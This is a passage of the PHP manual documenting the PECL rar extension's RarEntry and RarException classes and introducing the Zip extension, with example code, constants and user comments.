The password used to encrypt this entry. If the entry is not encrypted, this value will not be used and can be omitted. If this parameter is omitted and the entry is encrypted, the password given to rar_open(), if any, will be used. If a wrong password is given, either explicitly or implicitly via rar_open(), CRC checking will fail and this method will fail and return FALSE. If no password is given and one is required, this method will fail and return FALSE. You can check whether an entry is encrypted with RarEntry::isEncrypted().

extended_data

If TRUE, extended information such as NTFS ACLs and Unix owner information will be set in the extract files, as long as it's present in the archive.

Warning

Prior to version 2.0.0, this function would not handle relative paths correctly. Use realpath() as a workaround.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
3.0.0 | extended_data was added.
3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

Examples

Example #1 RarEntry::extract() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

$entry->extract('/dir/to'); // create /dir/to/Dir/file.txt
$entry->extract(false, '/dir/to/new_name.txt'); // create /dir/to/new_name.txt

?>

Example #2 How to extract all files in archive:

<?php

/* example by Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
    $entry = rar_entry_get($rar_file, $file);
    $entry->extract("."); // extract to the current dir
}
rar_close($rar_file);

?>

See Also

  • RarEntry::getStream() - Get file handler for entry
  • rar:// wrapper

User Contributed Notes

Anonymous 21-May-2013 02:29
If the entry to extract is a directory as per RarEntry::isDirectory(), this method does not seem to extract the entries below that directory as one might expect from using the command-line RAR or WinRAR.


Get attributes of the entry

  • « RarEntry::extract
  • RarEntry::getCrc »
  • PHP Manual
  • RarEntry
  • Get attributes of the entry

RarEntry::getAttr

(PECL rar >= 0.1)

RarEntry::getAttr — Get attributes of the entry

Description

public int RarEntry::getAttr ( void )

Returns the OS-dependent attributes of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the attributes or FALSE on error.

Examples

Example #1 RarEntry::getAttr() example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entry = rar_entry_get($rar_file, 'dir/in/the/archive') or die("Can't find such entry");

$host_os = $entry->getHostOs();
$attr = $entry->getAttr();

switch($host_os) {
    case RAR_HOST_MSDOS:
    case RAR_HOST_OS2:
    case RAR_HOST_WIN32:
    case RAR_HOST_MACOS:
        printf("%c%c%c%c%c%c\n",
                ($attr & 0x08) ? 'V' : '.',
                ($attr & 0x10) ? 'D' : '.',
                ($attr & 0x01) ? 'R' : '.',
                ($attr & 0x02) ? 'H' : '.',
                ($attr & 0x04) ? 'S' : '.',
                ($attr & 0x20) ? 'A' : '.');
        break;
    case RAR_HOST_UNIX:
    case RAR_HOST_BEOS:
        switch ($attr & 0xF000)
        {
            case 0x4000:
                printf("d");
                break;
            case 0xA000:
                printf("l");
                break;
            default:
                printf("-");
                break;
        }
        printf("%c%c%c%c%c%c%c%c%c\n",
                ($attr & 0x0100) ? 'r' : '-',
                ($attr & 0x0080) ? 'w' : '-',
                ($attr & 0x0040) ? (($attr & 0x0800) ? 's':'x'):(($attr & 0x0800) ? 'S':'-'),
                ($attr & 0x0020) ? 'r' : '-',
                ($attr & 0x0010) ? 'w' : '-',
                ($attr & 0x0008) ? (($attr & 0x0400) ? 's':'x'):(($attr & 0x0400) ? 'S':'-'),
                ($attr & 0x0004) ? 'r' : '-',
                ($attr & 0x0002) ? 'w' : '-',
                ($attr & 0x0001) ? 'x' : '-');
        break;
}

rar_close($rar_file);

?>

See Also

  • RarEntry::getHostOs() - Get entry host OS
  • The constants in RarEntry

User Contributed Notes

There are no user contributed notes for this page.


Get CRC of the entry

  • « RarEntry::getAttr
  • RarEntry::getFileTime »
  • PHP Manual
  • RarEntry
  • Get CRC of the entry

RarEntry::getCrc

(PECL rar >= 0.1)

RarEntry::getCrc — Get CRC of the entry

Description

public string RarEntry::getCrc ( void )

Returns an hexadecimal string representation of the CRC of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the CRC of the archive entry or FALSE on error.

Changelog

Version | Description
2.0.0 | This method now returns correct values for multiple volume archives.

User Contributed Notes

There are no user contributed notes for this page.


Get entry last modification time

  • « RarEntry::getCrc
  • RarEntry::getHostOs »
  • PHP Manual
  • RarEntry
  • Get entry last modification time

RarEntry::getFileTime

(PECL rar >= 0.1)

RarEntry::getFileTime — Get entry last modification time

Description

public string RarEntry::getFileTime ( void )

Gets entry last modification time.

Parameters

This function has no parameters.

Return Values

Returns entry last modification time as string in format YYYY-MM-DD HH:II:SS, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Get entry host OS

  • « RarEntry::getFileTime
  • RarEntry::getMethod »
  • PHP Manual
  • RarEntry
  • Get entry host OS

RarEntry::getHostOs

(PECL rar >= 0.1)

RarEntry::getHostOs — Get entry host OS

Description

public int RarEntry::getHostOs ( void )

Returns the code of the host OS of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the code of the host OS, or FALSE on error.

Examples

Example #1 RarEntry::getHostOs() example (version >= 2.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
    case RarEntry::HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RarEntry::HOST_OS2:
        echo "OS2\n";
        break;
    case RarEntry::HOST_WIN32:
        echo "Win32\n";
        break;
    case RarEntry::HOST_MACOS:
        echo "MacOS\n";
        break;
    case RarEntry::HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RarEntry::HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

Example #2 RarEntry::getHostOs() example (version <= 1.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
    case RAR_HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RAR_HOST_OS2:
        echo "OS2\n";
        break;
    case RAR_HOST_WIN32:
        echo "Win32\n";
        break;
    case RAR_HOST_MACOS:
        echo "MacOS\n";
        break;
    case RAR_HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RAR_HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

See Also

  • RarEntry::extract() - Extract entry from the archive

User Contributed Notes

There are no user contributed notes for this page.


Get pack method of the entry

  • « RarEntry::getHostOs
  • RarEntry::getName »
  • PHP Manual
  • RarEntry
  • Get pack method of the entry

RarEntry::getMethod

(PECL rar >= 0.1)

RarEntry::getMethod — Get pack method of the entry

Description

public int RarEntry::getMethod ( void )

RarEntry::getMethod() returns number of the method used when adding current archive entry.

Parameters

This function has no parameters.

Return Values

Returns the method number or FALSE on error.

Examples

Example #1 RarEntry::getMethod() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Method number: " . $entry->getMethod();

?>

User Contributed Notes

There are no user contributed notes for this page.


Get name of the entry

  • « RarEntry::getMethod
  • RarEntry::getPackedSize »
  • PHP Manual
  • RarEntry
  • Get name of the entry

RarEntry::getName

(PECL rar >= 0.1)

RarEntry::getName — Get name of the entry

Description

public string RarEntry::getName ( void )

Returns the name (with path) of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the entry name as a string, or FALSE on error.

Changelog

Version | Description
2.0.0 | As of version 2.0.0, the returned string is encoded in Unicode/UTF-8.

Examples

Example #1 RarEntry::getName() example

<?php

//this example is safe even in pages not encoded in UTF-8
//for those encoded in UTF-8, the call to mb_convert_encoding is unnecessary

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Entry name: " . mb_convert_encoding(
    htmlentities(
        $entry->getName(),
        ENT_COMPAT,
        "UTF-8"
    ),
    "HTML-ENTITIES",
    "UTF-8"
);

?>

User Contributed Notes

There are no user contributed notes for this page.


Get packed size of the entry

  • « RarEntry::getName
  • RarEntry::getStream »
  • PHP Manual
  • RarEntry
  • Get packed size of the entry

RarEntry::getPackedSize

(PECL rar >= 0.1)

RarEntry::getPackedSize — Get packed size of the entry

Description

public int RarEntry::getPackedSize ( void )

Get packed size of the archive entry.

Note:

Note that on platforms with 32-bit longs (that includes Windows x64), the maximum size returned is capped at 2 GiB. Check the constant PHP_INT_MAX.

Parameters

This function has no parameters.

Return Values

Returns the packed size, or FALSE on error.

Changelog

Version | Description
2.0.0 | This method now returns correct values of packed sizes bigger than 2 GiB on platforms with 64-bit integers and never returns negative values on other platforms.

Examples

Example #1 RarEntry::getPackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Packed size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

User Contributed Notes

There are no user contributed notes for this page.


Get file handler for entry

  • « RarEntry::getPackedSize
  • RarEntry::getUnpackedSize »
  • PHP Manual
  • RarEntry
  • Get file handler for entry

RarEntry::getStream

(PECL rar >= 2.0.0)

RarEntry::getStream — Get file handler for entry

Description

public resource RarEntry::getStream ([ string $password ] )

Returns a file handler that supports read operations. This handler provides on-the-fly decompression for this entry.

The handler is not invalidated by calling rar_close().

Warning

The resulting stream has no integrity verification. In particular, file corruption and decryption with a wrong a key will not be detected. It is the programmer's responsability to use the entry's CRC to check for integrity, if he so wishes.

Parameters

password

The password used to encrypt this entry. If the entry is not encrypted, this value will not be used and can be omitted. If this parameter is omitted and the entry is encrypted, the password given to rar_open(), if any, will be used. If a wrong password is given, either explicitly or implicitly via rar_open(), this method's resulting stream will produce wrong output. If no password is given and one is required, this method will fail and return FALSE. You can check whether an entry is encrypted with RarEntry::isEncrypted().

Return Values

The file handler or FALSE on failure.

Changelog

Version | Description
3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

Examples

Example #1 RarEntry::getStream() example

<?php

$rar_file = rar_open('example.rar');
if ($rar_file === false)
    die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt');
if ($entry === false)
    die("Failed to find such entry");

$stream = $entry->getStream();
if ($stream === false)
    die("Failed to obtain stream.");

rar_close($rar_file); //stream is independent from file

while (!feof($stream)) {
    $buff = fread($stream, 8192);
    if ($buff !== false)
        echo $buff;
    else
        break; //fread error
}

fclose($stream);

?>

See Also

  • RarEntry::extract() - Extract entry from the archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Get unpacked size of the entry

  • « RarEntry::getStream
  • RarEntry::getVersion »
  • PHP Manual
  • RarEntry
  • Get unpacked size of the entry

RarEntry::getUnpackedSize

(PECL rar >= 0.1)

RarEntry::getUnpackedSize — Get unpacked size of the entry

Description

public int RarEntry::getUnpackedSize ( void )

Get unpacked size of the archive entry.

Note:

Note that on platforms with 32-bit longs (that includes Windows x64), the maximum size returned is capped at 2 GiB. Check the constant PHP_INT_MAX.

Parameters

This function has no parameters.

Return Values

Returns the unpacked size, or FALSE on error.

Changelog

Version | Description
2.0.0 | This method now returns correct values of unpacked sizes bigger than 2 GiB on platforms with 64-bit integers and never returns negative values on other platforms.

Return Values

Example #1 RarEntry::getUnpackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Unpacked size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

User Contributed Notes

There are no user contributed notes for this page.


Get minimum version of RAR program required to unpack the entry

  • « RarEntry::getUnpackedSize
  • RarEntry::isDirectory »
  • PHP Manual
  • RarEntry
  • Get minimum version of RAR program required to unpack the entry

RarEntry::getVersion

(PECL rar >= 0.1)

RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry

Description

public int RarEntry::getVersion ( void )

Returns minimum version of RAR program (e.g. WinRAR) required to unpack the entry. It is encoded as 10 * major version + minor version.

Parameters

This function has no parameters.

Return Values

Returns the version or FALSE on error.

Examples

Example #1 RarEntry::getVersion() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Rar version required for unpacking: " . $entry->getVersion();

?>

User Contributed Notes

There are no user contributed notes for this page.


Test whether an entry represents a directory

  • « RarEntry::getVersion
  • RarEntry::isEncrypted »
  • PHP Manual
  • RarEntry
  • Test whether an entry represents a directory

RarEntry::isDirectory

(PECL rar >= 2.0.0)

RarEntry::isDirectory — Test whether an entry represents a directory

Description

public bool RarEntry::isDirectory ( void )

Tests whether the current entry is a directory.

Parameters

This function has no parameters.

Return Values

Returns TRUE if this entry is a directory and FALSE otherwise.

Notes

This function is only available starting with version 2.0.0, but one can also test whether an entry is a directory by checking the entry attributes, like this (only works for files compressed in RAR for Windows or Unix):

<?php
//...
//Open file, get entry and store in variable $e...
//...

$isDirectory = (bool) ((($e->getHostOs() == RAR_HOST_WIN32) && ($e->getAttr() & 0x10)) ||
    (($e->getHostOs() == RAR_HOST_UNIX) && (($e->getAttr() & 0xf000) == 0x4000)));
?>

User Contributed Notes

There are no user contributed notes for this page.


Test whether an entry is encrypted

  • « RarEntry::isDirectory
  • RarEntry::__toString »
  • PHP Manual
  • RarEntry
  • Test whether an entry is encrypted

RarEntry::isEncrypted

(PECL rar >= 2.0.0)

RarEntry::isEncrypted — Test whether an entry is encrypted

Description

public bool RarEntry::isEncrypted ( void )

Tests whether the current entry contents are encrypted.

Note:

The password used may differ between files inside the same RAR archive.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current entry is encrypted and FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Get text representation of entry

  • « RarEntry::isEncrypted
  • RarException »
  • PHP Manual
  • RarEntry
  • Get text representation of entry

RarEntry::__toString

(PECL rar >= 2.0.0)

RarEntry::__toString — Get text representation of entry

Description

public string RarEntry::__toString ( void )

RarEntry::__toString() returns a textual representation for this entry. It includes whether the entry is a file or a directory (symbolic links and other special objects will be treated as files), the UTF-8 name of the entry and its CRC. The form and content of this representation may be changed in the future, so they cannot be relied upon.

Parameters

This function has no parameters.

Return Values

A textual representation for the entry.

User Contributed Notes

There are no user contributed notes for this page.


The RarException class

(PECL rar >= 2.0.0)

Introduction

This class serves two purposes: it is the type of the exceptions thrown by the RAR extension functions and methods and it allows, through static methods to query and define the error behaviour of the extension, i.e., whether exceptions are thrown or only warnings are emitted.

The following error codes are used:

  • -1 - error outside UnRAR library
  • 11 - insufficient memory
  • 12 - bad data
  • 13 - bad archive
  • 14 - unknown format
  • 15 - file open error
  • 16 - file create error
  • 17 - file close error
  • 18 - read error
  • 19 - write error
  • 20 - buffer too small
  • 21 - unkown RAR error
  • 22 - password required but not given

Class synopsis

final RarException extends Exception {
/* Methods */
public static bool isUsingExceptions ( void )
public static void setUsingExceptions ( bool $using_exceptions )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Table of Contents

  • RarException::isUsingExceptions — Check whether error handling with exceptions is in use
  • RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.


Check whether error handling with exceptions is in use

  • « RarException
  • RarException::setUsingExceptions »
  • PHP Manual
  • RarException
  • Check whether error handling with exceptions is in use

RarException::isUsingExceptions

(PECL rar >= 2.0.0)

RarException::isUsingExceptions — Check whether error handling with exceptions is in use

Description

public static bool RarException::isUsingExceptions ( void )

Checks whether the RAR functions will emit warnings and return error values or whether they will throw exceptions in most of the circumstances (does not include some programmatic errors such as passing the wrong type of arguments).

Parameters

This function has no parameters.

Return Values

Returns TRUE if exceptions are being used, FALSE otherwise.

Examples

Example #1 RarException::isUsingExceptions() example

<?php
//The default is not to use exceptions
var_dump(RarException::isUsingExceptions());
?>

The above example will output something similar to:

bool(false)

See Also

  • RarException::setUsingExceptions() - Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.


Activate and deactivate error handling with exceptions

  • « RarException::isUsingExceptions
  • Zip »
  • PHP Manual
  • RarException
  • Activate and deactivate error handling with exceptions

RarException::setUsingExceptions

(PECL rar >= 2.0.0)

RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

Description

public static void RarException::setUsingExceptions ( bool $using_exceptions )

If and only if the argument is TRUE, then, instead of emitting warnings and returning a special value indicating error when the UnRAR library encounters an error, an exception of type RarException will be thrown.

Exceptions will also be thrown for the following errors, which occur outside the library (their error code will be -1):

  • attempting some operations on a closed RarArchive object or a RarEntry object relative to the first;
  • attempting to get an entry that does not exist with RarArchive::getEntry().

Parameters

using_exceptions

Should be TRUE to activate exception throwing, FALSE to deactivate (the default).

Examples

Example #1 RarException::setUsingExceptions() example

<?php
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch);

RarException::setUsingExceptions(true);
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch); //not reached
?>

The above example will output something similar to:

bool(false)

Warning: RarArchive::open(): Failed to open does_not_exist.rar: ERAR_EOPEN (file open error) in C:\php_rar\trunk\tests\test.php on line 3
bool(false)
bool(true)

Fatal error: Uncaught exception 'RarException' with message 'unRAR internal error: Failed to open does_not_exist.rar: ERAR_EOPEN (file open error)' in C:\php_rar\trunk\tests\test.php:8
Stack trace:
#0 C:\php_rar\trunk\tests\test.php(8): RarArchive::open('does_not_exist....')
#1 {main}
  thrown in C:\php_rar\trunk\tests\test.php on line 8

See Also

  • RarException::isUsingExceptions() - Check whether error handling with exceptions is in use

User Contributed Notes

There are no user contributed notes for this page.


Zip

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • ZipArchive — The ZipArchive class
    • ZipArchive::addEmptyDir — Add a new directory
    • ZipArchive::addFile — Adds a file to a ZIP archive from the given path
    • ZipArchive::addFromString — Add a file to a ZIP archive using its contents
    • ZipArchive::addGlob — Add files from a directory by glob pattern
    • ZipArchive::addPattern — Add files from a directory by PCRE pattern
    • ZipArchive::close — Close the active archive (opened or newly created)
    • ZipArchive::deleteIndex — delete an entry in the archive using its index
    • ZipArchive::deleteName — delete an entry in the archive using its name
    • ZipArchive::extractTo — Extract the archive contents
    • ZipArchive::getArchiveComment — Returns the Zip archive comment
    • ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index
    • ZipArchive::getCommentName — Returns the comment of an entry using the entry name
    • ZipArchive::getExternalAttributesIndex — Retrieve the external attributes of an entry defined by its index
    • ZipArchive::getExternalAttributesName — Retrieve the external attributes of an entry defined by its name
    • ZipArchive::getFromIndex — Returns the entry contents using its index
    • ZipArchive::getFromName — Returns the entry contents using its name
    • ZipArchive::getNameIndex — Returns the name of an entry using its index
    • ZipArchive::getStatusString — Returns the status error message, system and/or zip messages
    • ZipArchive::getStream — Get a file handler to the entry defined by its name (read only).
    • ZipArchive::locateName — Returns the index of the entry in the archive
    • ZipArchive::open — Open a ZIP file archive
    • ZipArchive::renameIndex — Renames an entry defined by its index
    • ZipArchive::renameName — Renames an entry defined by its name
    • ZipArchive::setArchiveComment — Set the comment of a ZIP archive
    • ZipArchive::setCommentIndex — Set the comment of an entry defined by its index
    • ZipArchive::setCommentName — Set the comment of an entry defined by its name
    • ZipArchive::setExternalAttributesIndex — Set the external attributes of an entry defined by its index
    • ZipArchive::setExternalAttributesName — Set the external attributes of an entry defined by its name
    • ZipArchive::setPassword — Set the password for the active archive
    • ZipArchive::statIndex — Get the details of an entry defined by its index.
    • ZipArchive::statName — Get the details of an entry defined by its name.
    • ZipArchive::unchangeAll — Undo all changes done in the archive
    • ZipArchive::unchangeArchive — Revert all global changes done in the archive.
    • ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index
    • ZipArchive::unchangeName — Revert all changes done to an entry with the given name.
  • Zip Functions
    • zip_close — Close a ZIP file archive
    • zip_entry_close — Close a directory entry
    • zip_entry_compressedsize — Retrieve the compressed size of a directory entry
    • zip_entry_compressionmethod — Retrieve the compression method of a directory entry
    • zip_entry_filesize — Retrieve the actual file size of a directory entry
    • zip_entry_name — Retrieve the name of a directory entry
    • zip_entry_open — Open a directory entry for reading
    • zip_entry_read — Read from an open directory entry
    • zip_open — Open a ZIP file archive
    • zip_read — Read next entry in a ZIP file archive

User Contributed Notes

singh206 at gmail dot com 10-Aug-2009 08:21
Caution:  If you accidentally let an extra '/' slip into your filepath, such as, '/myzipstuff//myfile.mp3', Mac OS X will handle resolve this, and you won't notice the typo.  Vista, and XP will have issues unzipping the file.
steved at HaHaHa dot com dot au 16-Jan-2009 10:35
Don't forget you will need to enable write permission on the directory.


Introduction

This extension enables you to transparently read or write ZIP compressed archives and the files inside them.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP 4

The bundled PHP 4 version requires » ZZIPlib, by Guido Draheim, version 0.10.6 or later

PHP 5.2.0 or later

This extension uses the functions of » zlib by Jean-loup Gailly and Mark Adler.

User Contributed Notes

There are no user contributed notes for this page.


Installation

PHP 4

Note:

Zip support before PHP 4.1.0 is experimental.

Warning

Because the PHP 4 zip extension is unmaintained we recommend that the PECL extension is used rather than the bundled one.

Linux systems

In order to use these functions you must compile PHP with zip support by using the --with-zip[=DIR] configure option, where [DIR] is the prefix of the » ZZIPlib library install.

Windows

Windows users need to enable php_zip.dll inside of php.ini in order to use these functions.

PHP 5.2.0 and later

Linux systems

In order to use these functions you must compile PHP with zip support by using the --enable-zip configure option.

Windows

Windows users need to enable php_zip.dll inside of php.ini in order to use these functions.

Installation via PECL

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/zip.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download.

User Contributed Notes

phpdev at ehrhardt dot nl 11-Aug-2013 02:06
+1 for Tom's comment. I just requested to remove php_zip.dll from the example php.ini's:
https://github.com/php/php-src/pull/404

Please update the documentation as well.
alvaro at demogracia dot com 15-Apr-2011 11:55
Docs only mention PHP/4 and PHP/5.2.0 and later. For PHP/5.0 and PHP/5.1 you can simply install the PECL extension; despite being an external download, it's basically the same library.
tom at tomwardrop dot com 25-Aug-2009 04:44
To expand on the previous comment. This extension now seems to be built-in to PHP 5.3.0 (at least for windows).


Resource Types

There are two resource types used in the Zip module. The first one is the Zip directory for the Zip archive, the second Zip Entry for the archive entries.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

ZipArchive uses class constants. There are three types of constants : Flags (prefixed with FL_), errors (prefixed with ER_) and mode (no prefix).

ZipArchive::CREATE (integer)
Create the archive if it does not exist.
ZipArchive::OVERWRITE (integer)
Always start a new archive, this mode will overwrite the file if it already exists.
ZipArchive::EXCL (integer)
Error if archive already exists.
ZipArchive::CHECKCONS (integer)
Perform additional consistency checks on the archive, and error if they fail.
ZipArchive::FL_NOCASE (integer)
Ignore case on name lookup
ZipArchive::FL_NODIR (integer)
Ignore directory component
ZipArchive::FL_COMPRESSED (integer)
Read compressed data
ZipArchive::FL_UNCHANGED (integer)
Use original data, ignoring changes.
ZipArchive::CM_DEFAULT (integer)
better of deflate or store.
ZipArchive::CM_STORE (integer)
stored (uncompressed).
ZipArchive::CM_SHRINK (integer)
shrunk
ZipArchive::CM_REDUCE_1 (integer)
reduced with factor 1
ZipArchive::CM_REDUCE_2 (integer)
reduced with factor 2
ZipArchive::CM_REDUCE_3 (integer)
reduced with factor 3
ZipArchive::CM_REDUCE_4 (integer)
reduced with factor 4
ZipArchive::CM_IMPLODE (integer)
imploded
ZipArchive::CM_DEFLATE (integer)
deflated
ZipArchive::CM_DEFLATE64 (integer)
deflate64
ZipArchive::CM_PKWARE_IMPLODE (integer)
PKWARE imploding
ZipArchive::CM_BZIP2 (integer)
BZIP2 algorithm
ZipArchive::ER_OK (integer)
No error.
ZipArchive::ER_MULTIDISK (integer)
Multi-disk zip archives not supported.
ZipArchive::ER_RENAME (integer)
Renaming temporary file failed.
ZipArchive::ER_CLOSE (integer)
Closing zip archive failed
ZipArchive::ER_SEEK (integer)
Seek error
ZipArchive::ER_READ (integer)
Read error
ZipArchive::ER_WRITE (integer)
Write error
ZipArchive::ER_CRC (integer)
CRC error
ZipArchive::ER_ZIPCLOSED (integer)
Containing zip archive was closed
ZipArchive::ER_NOENT (integer)
No such file.
ZipArchive::ER_EXISTS (integer)
File already exists
ZipArchive::ER_OPEN (integer)
Can't open file
ZipArchive::ER_TMPOPEN (integer)
Failure to create temporary file.
ZipArchive::ER_ZLIB (integer)
Zlib error
ZipArchive::ER_MEMORY (integer)
Memory allocation failure
ZipArchive::ER_CHANGED (string)
Entry has been changed
ZipArchive::ER_COMPNOTSUPP (integer)
Compression method not supported.
ZipArchive::ER_EOF (integer)
Premature EOF
ZipArchive::ER_INVAL (integer)
Invalid argument
ZipArchive::ER_NOZIP (integer)
Not a zip archive
ZipArchive::ER_INTERNAL (integer)
Internal error
ZipArchive::ER_INCONS (integer)
Zip archive inconsistent
ZipArchive::ER_REMOVE (integer)
Can't remove file
ZipArchive::ER_DELETED (integer)
Entry has been deleted
Operating system constants for external attributes
ZipArchive::OPSYS_DOS (integer)
ZipArchive::OPSYS_AMIGA (integer)
ZipArchive::OPSYS_OPENVMS (integer)
ZipArchive::OPSYS_UNIX (integer)
ZipArchive::OPSYS_VM_CMS (integer)
ZipArchive::OPSYS_ATARI_ST (integer)
ZipArchive::OPSYS_OS_2 (integer)
ZipArchive::OPSYS_MACINTOSH (integer)
ZipArchive::OPSYS_Z_SYSTEM (integer)
ZipArchive::OPSYS_CPM (integer)
ZipArchive::OPSYS_WINDOWS_NTFS (integer)
ZipArchive::OPSYS_MVS (integer)
ZipArchive::OPSYS_VSE (integer)
ZipArchive::OPSYS_ACORN_RISC (integer)
ZipArchive::OPSYS_VFAT (integer)
ZipArchive::OPSYS_ALTERNATE_MVS (integer)
ZipArchive::OPSYS_BEOS (integer)
ZipArchive::OPSYS_TANDEM (integer)
ZipArchive::OPSYS_OS_400 (integer)
ZipArchive::OPSYS_OS_X (integer)
ZipArchive::OPSYS_DEFAULT (integer)
Since PHP 5.6.0, PECL zip 1.12.4

User Contributed Notes

scott at bluecamel dot eml dot cc 13-Jun-2008 07:13
#define ZIP_ER_OK             0  /* N No error */
#define ZIP_ER_MULTIDISK      1  /* N Multi-disk zip archives not supported */
#define ZIP_ER_RENAME         2  /* S Renaming temporary file failed */
#define ZIP_ER_CLOSE          3  /* S Closing zip archive failed */
#define ZIP_ER_SEEK           4  /* S Seek error */
#define ZIP_ER_READ           5  /* S Read error */
#define ZIP_ER_WRITE          6  /* S Write error */
#define ZIP_ER_CRC            7  /* N CRC error */
#define ZIP_ER_ZIPCLOSED      8  /* N Containing zip archive was closed */
#define ZIP_ER_NOENT          9  /* N No such file */
#define ZIP_ER_EXISTS        10  /* N File already exists */
#define ZIP_ER_OPEN          11  /* S Can't open file */
#define ZIP_ER_TMPOPEN       12  /* S Failure to create temporary file */
#define ZIP_ER_ZLIB          13  /* Z Zlib error */
#define ZIP_ER_MEMORY        14  /* N Malloc failure */
#define ZIP_ER_CHANGED       15  /* N Entry has been changed */
#define ZIP_ER_COMPNOTSUPP   16  /* N Compression method not supported */
#define ZIP_ER_EOF           17  /* N Premature EOF */
#define ZIP_ER_INVAL         18  /* N Invalid argument */
#define ZIP_ER_NOZIP         19  /* N Not a zip archive */
#define ZIP_ER_INTERNAL      20  /* N Internal error */
#define ZIP_ER_INCONS        21  /* N Zip archive inconsistent */
#define ZIP_ER_REMOVE        22  /* S Can't remove file */
#define ZIP_ER_DELETED       23  /* N Entry has been deleted */


Examples

Example #1 Create a Zip archive

<?php

$zip = new ZipArchive();
$filename = "./test112.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
    exit("cannot open <$filename>\n");
}

$zip->addFromString("testfilephp.txt" . time(), "#1 This is a test string added as testfilephp.txt.\n");
$zip->addFromString("testfilephp2.txt" . time(), "#2 This is a test string added as testfilephp2.txt.\n");
$zip->addFile($thisdir . "/too.php","/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>

Example #2 Dump the archive details and listing

<?php
$za = new ZipArchive();

$za->open('test_with_comment.zip');
print_r($za);
var_dump($za);
echo "numFiles: " . $za->numFiles . "\n";
echo "status: " . $za->status  . "\n";
echo "statusSys: " . $za->statusSys . "\n";
echo "filename: " . $za->filename . "\n";
echo "comment: " . $za->comment . "\n";

for ($i=0; $i<$za->numFiles;$i++) {
    echo "index: $i\n";
    print_r($za->statIndex($i));
}
echo "numFile:" . $za->numFiles . "\n";
?>

Example #3 Zip stream wrapper, read an OpenOffice meta info

<?php
$reader = new XMLReader();

$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
    if ($reader->nodeType == XMLREADER::ELEMENT) {
        $elm = $reader->name;
    } else {
        if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
            break;
        }
        if (!trim($reader->value)) {
            continue;
        }
        $odt_meta[$elm] = $reader->value;
    }
}
print_r($odt_meta);
?>

